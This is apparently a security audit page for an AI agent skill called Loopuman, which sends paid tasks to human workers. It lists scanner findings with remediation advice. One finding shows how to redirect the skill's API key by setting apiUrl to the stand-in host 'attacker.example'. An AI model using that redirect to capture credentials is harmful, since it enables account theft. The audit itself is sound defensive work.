ClawHub
Back to skill

Security audit

Loopuman

Security checks for vulnerabilities and agentic risk

Overview

The skill appears purpose-built for paid human task routing, but it needs review because it can send sensitive task content to outside humans, spend or cancel paid tasks, and forwards an API key with weak safeguards.

Install only if you are comfortable sending task instructions and any referenced material to Loopuman and human workers. Do not submit secrets, credentials, private customer data, regulated data, or confidential internal documents. Store the API key with restrictive file permissions, avoid custom apiUrl values unless you fully trust the endpoint, and manually review any create or cancel command because it can spend balance or change task state.

A.I.G

Vulnerability Patterns
  • Insecure Skill Coding PracticesFinds exploitable flaws such as hardcoded secrets or command injection
  • Skill Instruction HijackingAlters the agent's session goals or safety constraints when the skill loads
  • Agent Memory PoisoningWrites attacker-controlled rules into memory that affect later sessions
  • Remote Payload Retrieval and ExecutionFetches external code whose behavior can change after review
  • Embedded Malicious CodeShips malicious scripts inside the skill and executes them locally
Findings (1)

T09 · Insecure Skill Coding Practices

Warning
Location
scripts/loopuman.sh:26
Finding

Unvalidated Configurable API Endpoint Can Expose Credentials and Task Data

Content
View full analysis

Vulnerability Details

File Location: scripts/loopuman.sh, lines 26–27 and 34–42
Vulnerability Type: Unvalidated credential-bearing endpoint configuration
Risk Level: Medium

Vulnerable Code

bash
API_KEY=$(jq -r '.apiKey' "$CONFIG_FILE")
API_URL=$(jq -r '.apiUrl // "https://api.loopuman.com"' "$CONFIG_FILE")

api() {
  local method="$1" endpoint="$2"
  shift 2
  curl -sf -X "$method" \
    -H "x-api-key: $API_KEY" \
    -H "Content-Type: application/json" \
    "$API_URL$endpoint" "$@"
}

Technical Analysis

The script reads apiUrl from a configurable JSON file and uses it directly as the destination for all API requests. It does not validate the URL scheme, hostname, port, or destination before attaching the secret x-api-key header.

Consequently, an attacker who can modify the selected configuration file—or influence the file selected through LOOPUMAN_CONFIG in the execution environment—can redirect requests to an attacker-controlled service. Commands that send request bodies, particularly create, can additionally disclose task titles, descriptions, webhook addresses, budgets, and other task metadata.

Allowing arbitrary destinations also permits the script to issue authenticated HTTP requests toward network locations reachable from the host. This creates limited server-side request forgery behavior, although exploitation is constrained to the script's fixed API paths and HTTP methods.

Attack Path

  1. The attacker gains the ability to modify a Loopuman configuration file or influence LOOPUMAN_CONFIG in the context where the script runs.
  2. The attacker sets apiUrl to an attacker-controlled HTTP or HTTPS endpoint, for example:
    json
    {
  "apiKey": "lpm_secret_value",
  "apiUrl": "https://attacker.example"
}
  3. A user or agent invokes loopuman.sh list, status, create, cancel, or wait.
  4. The api() function concatenates ...[truncated 1109 chars]
Remediation
View remediation

Remediation Suggestions

  1. Pin production requests to the documented API origin:
    bash
    readonly API_URL="https://api.loopuman.com"
  2. If endpoint customization is required for testing, parse and validate the URL before use. Require HTTPS and allow only explicitly trusted hostnames and ports.
  3. Never attach x-api-key to a destination that fails origin validation.
  4. Restrict custom endpoints to an explicit development mode that is disabled by default, and use separate non-production credentials in that mode.
  5. Validate configuration-file ownership and permissions before reading secrets. Reject files writable by other users and recommend mode 0600:
    bash
    chmod 600 ~/.openclaw/skills/loopuman/config.json
  6. Treat LOOPUMAN_CONFIG as security-sensitive. Ignore it in privileged or untrusted execution contexts, or require that the selected file reside in an approved directory and have trusted ownership.
  7. Rotate the API key immediately if requests may already have been sent to an untrusted endpoint.

SkillSpector

Vulnerability Patterns
  • Data ExfiltrationExternal Transmission, Env Variable Harvesting, File System Enumeration
  • Excessive AgencyUnrestricted Tool Access, Autonomous Decision Making, Scope Creep
  • Tool MisuseTool Parameter Abuse, Chaining Abuse, Unsafe Defaults
  • Rogue AgentSelf-Modification, Session Persistence
  • MCP Least PrivilegeUnderdeclared Capability, Wildcard Permission, Missing Permission Declaration
Findings (19)

Tool Parameter Abuse

High
Category
Tool Misuse
Confidence
80% confidence
Finding

Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).

Content

Scanner excerpt · references/api-reference.md (reported line 131)May include surrounding context.

md
List all tasks for your API key.

### DELETE /api/v1/tasks/:id

Cancel a task. Refunds your balance if no workers have started.

Tool Parameter Abuse

High
Category
Tool Misuse
Confidence
90% confidence
Finding

Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).

Content

Scanner excerpt · scripts/loopuman.sh (reported line 198)May include surrounding context.

sh
done
  [[ -z "$task_id" ]] && { echo "Error: --task-id is required"; exit 1; }

  api DELETE "/api/v1/tasks/$task_id" | jq '.'
}

# --- Main ---

Undeclared Tool Scope

Medium
Category
MCP Least Privilege
Confidence
95% confidence
Finding

The skill invokes shell capabilities (curl, shell scripts, file writes) but does not declare an explicit tool scope such as permissions or allowed-tools. This weakens least-privilege controls and can let an agent use broader shell access than a reviewer or runtime policy expects, increasing the chance of unintended command execution or data handling.

Content

No source excerpt is available for this finding.

Missing User Warnings

Medium
Category
Not specified by scanner
Confidence
98% confidence
Finding

This skill is specifically designed to send task content to external human workers, yet it does not prominently warn users not to include secrets, personal data, regulated data, or confidential business information. Because prompts, images, and documents may be exposed to third-party humans outside the local trust boundary, omission of a privacy warning materially increases the risk of data leakage.

Content

No source excerpt is available for this finding.

Session Persistence

Medium
Category
Rogue Agent
Confidence
84% confidence
Finding

The skill instructs users to persist an API key in a plaintext config file under the home directory without mentioning file permissions or use of a secret store. Long-lived credentials stored this way can be exposed to other local processes, backups, logs, or accidental sharing, enabling unauthorized use of the Loopuman account and any associated funds/tasks.

Content

Scanner excerpt · SKILL.md (reported line 35)May include surrounding context.

Setup

Create the config file with your Loopuman API key:

bash
mkdir -p ~/.openclaw/skills/loopuman

External Transmission

Medium
Category
Data Exfiltration
Confidence
60% confidence
Finding

Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.

Content

Scanner excerpt · SKILL.md (reported line 50)May include surrounding context.

Get your key (no auth needed):

bash
curl -X POST https://api.loopuman.com/api/v1/register \
  -H "Content-Type: application/json" \
  -d '{"email": "you@example.com", "company_name": "Your Name"}'

External Transmission

Medium
Category
Data Exfiltration
Confidence
60% confidence
Finding

Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.

Content

Scanner excerpt · references/api-reference.md (reported line 15)May include surrounding context.

Get your key (no auth needed):

bash
curl -X POST https://api.loopuman.com/api/v1/register \
  -H "Content-Type: application/json" \
  -d '{"email": "you@example.com", "company_name": "Your Name"}'

Autonomous Decision Making

Medium
Category
Excessive Agency
Confidence
85% confidence
Finding

Skill enables autonomous high-impact decisions without human-in-the-loop verification. Critical operations (destructive commands, financial transactions, data deletion) should require explicit user confirmation.

Content

Scanner excerpt · references/api-reference.md (reported line 74)May include surrounding context.

md
| `max_workers` | integer | no | Number of workers (default: 1, max: 100) |
| `priority` | string | no | `normal` or `high` (high notifies workers) |
| `webhook_url` | string | no | URL for push notification on completion |
| `auto_approve` | boolean | no | Auto-approve submissions (default: false) |
| `reference_media` | array | no | Array of image/doc URLs for worker reference |

**Response (201):**

Autonomous Decision Making

Medium
Category
Excessive Agency
Confidence
85% confidence
Finding

Skill enables autonomous high-impact decisions without human-in-the-loop verification. Critical operations (destructive commands, financial transactions, data deletion) should require explicit user confirmation.

Content

Scanner excerpt · references/api-reference.md (reported line 74)May include surrounding context.

md
| `max_workers` | integer | no | Number of workers (default: 1, max: 100) |
| `priority` | string | no | `normal` or `high` (high notifies workers) |
| `webhook_url` | string | no | URL for push notification on completion |
| `auto_approve` | boolean | no | Auto-approve submissions (default: false) |
| `reference_media` | array | no | Array of image/doc URLs for worker reference |

**Response (201):**

Session Persistence

Medium
Category
Rogue Agent
Confidence
60% confidence
Finding

Skill establishes unauthorized persistence across sessions via cron jobs, startup scripts, or state files. Session persistence allows an attacker to maintain access beyond the current interaction.

Content

Scanner excerpt · scripts/loopuman.sh (reported line 14)May include surrounding context.

sh
fi

if [[ ! -f "$CONFIG_FILE" ]]; then
  echo "Error: Config file not found. Create one at ~/.openclaw/skills/loopuman/config.json"
  echo ""
  echo "mkdir -p ~/.openclaw/skills/loopuman"
  echo 'cat > ~/.openclaw/skills/loopuman/config.json << EOF'

Missing User Warnings

Medium
Category
Not specified by scanner
Confidence
95% confidence
Finding

This shell script reads an API key from a local config file and attaches it to every curl request sent to the Loopuman service. While the network behavior is evident in code, there is no confirmation prompt and no explicit warning comment or user-facing disclosure near the credential use explaining that task content and authentication data will be transmitted to an external service.

Content

No source excerpt is available for this finding.

External Transmission

Medium
Category
Data Exfiltration
Confidence
60% confidence
Finding

Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.

Content

Scanner excerpt · SKILL.md (reported line 50)May include surrounding context.

md
if [[ "$API_KEY" == "null" || "$API_KEY" == "YOUR_API_KEY" ]]; then
  echo "Error: Invalid API key. Get one with:"
  echo "curl -X POST https://api.loopuman.com/api/v1/register -H 'Content-Type: application/json' -d '{\"email\":\"you@example.com\",\"company_name\":\"Your Name\"}'"
  exit 1
fi

External Transmission

Medium
Category
Data Exfiltration
Confidence
60% confidence
Finding

Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.

Content

Scanner excerpt · SKILL.md (reported line 189)May include surrounding context.

md
if [[ "$API_KEY" == "null" || "$API_KEY" == "YOUR_API_KEY" ]]; then
  echo "Error: Invalid API key. Get one with:"
  echo "curl -X POST https://api.loopuman.com/api/v1/register -H 'Content-Type: application/json' -d '{\"email\":\"you@example.com\",\"company_name\":\"Your Name\"}'"
  exit 1
fi

External Transmission

Medium
Category
Data Exfiltration
Confidence
60% confidence
Finding

Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.

Content

Scanner excerpt · SKILL.md (reported line 190)May include surrounding context.

md
if [[ "$API_KEY" == "null" || "$API_KEY" == "YOUR_API_KEY" ]]; then
  echo "Error: Invalid API key. Get one with:"
  echo "curl -X POST https://api.loopuman.com/api/v1/register -H 'Content-Type: application/json' -d '{\"email\":\"you@example.com\",\"company_name\":\"Your Name\"}'"
  exit 1
fi

External Transmission

Medium
Category
Data Exfiltration
Confidence
60% confidence
Finding

Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.

Content

Scanner excerpt · references/api-reference.md (reported line 15)May include surrounding context.

md
if [[ "$API_KEY" == "null" || "$API_KEY" == "YOUR_API_KEY" ]]; then
  echo "Error: Invalid API key. Get one with:"
  echo "curl -X POST https://api.loopuman.com/api/v1/register -H 'Content-Type: application/json' -d '{\"email\":\"you@example.com\",\"company_name\":\"Your Name\"}'"
  exit 1
fi

External Transmission

Medium
Category
Data Exfiltration
Confidence
60% confidence
Finding

Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.

Content

Scanner excerpt · scripts/loopuman.sh (reported line 28)May include surrounding context.

sh
if [[ "$API_KEY" == "null" || "$API_KEY" == "YOUR_API_KEY" ]]; then
  echo "Error: Invalid API key. Get one with:"
  echo "curl -X POST https://api.loopuman.com/api/v1/register -H 'Content-Type: application/json' -d '{\"email\":\"you@example.com\",\"company_name\":\"Your Name\"}'"
  exit 1
fi

External Transmission

Medium
Category
Data Exfiltration
Confidence
70% confidence
Finding

Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.

Content

Scanner excerpt · scripts/loopuman.sh (reported line 28)May include surrounding context.

sh
if [[ "$API_KEY" == "null" || "$API_KEY" == "YOUR_API_KEY" ]]; then
  echo "Error: Invalid API key. Get one with:"
  echo "curl -X POST https://api.loopuman.com/api/v1/register -H 'Content-Type: application/json' -d '{\"email\":\"you@example.com\",\"company_name\":\"Your Name\"}'"
  exit 1
fi

Missing User Warnings

Medium
Category
Not specified by scanner
Confidence
97% confidence
Finding

The create command transmits arbitrary user-provided title, description, and optional webhook URL to an external human-task platform. In this skill's context, that means potentially sensitive prompts, data, or internal workflow details may be disclosed to third parties and human workers without any guardrail, warning, or validation.

Content

No source excerpt is available for this finding.

Missing User Warnings

Medium
Category
Not specified by scanner
Confidence
98% confidence
Finding

The cancel command directly issues an HTTP DELETE request to cancel a task, which is a potentially irreversible operation affecting user task state and possibly billing/refund behavior. Although the command name implies cancellation, there is no confirmation prompt or explicit warning before executing the destructive action.

Content

No source excerpt is available for this finding.

Static analysis

No suspicious patterns detected.